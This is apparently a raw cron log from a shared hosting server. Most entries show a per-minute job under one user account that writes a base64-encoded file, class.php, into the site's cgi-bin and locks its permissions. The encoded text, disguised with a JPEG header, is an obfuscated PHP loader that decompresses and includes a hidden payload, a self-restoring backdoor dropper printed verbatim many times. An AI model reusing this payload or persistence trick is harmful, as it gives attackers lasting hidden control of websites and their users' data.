Nov 11 13:07:01 server CROND[12156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:08:01 server CROND[13083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:09:01 server CROND[13733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:09:01 server CROND[13734]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 13:10:01 server CROND[14420]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 13:10:01 server CROND[14421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:10:01 server CROND[14422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:10:01 server CROND[14424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:11:01 server CROND[15133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:12:01 server CROND[15966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 13:12:01 server CROND[15967]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:13:01 server CROND[16790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:14:01 server CROND[17438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:15:01 server CROND[18282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:15:01 server CROND[18283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:15:01 server CROND[18284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:16:01 server CROND[19227]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:17:01 server CROND[20062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:18:01 server CROND[20867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:19:01 server CROND[21799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:20:01 server CROND[22624]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:20:01 server CROND[22625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
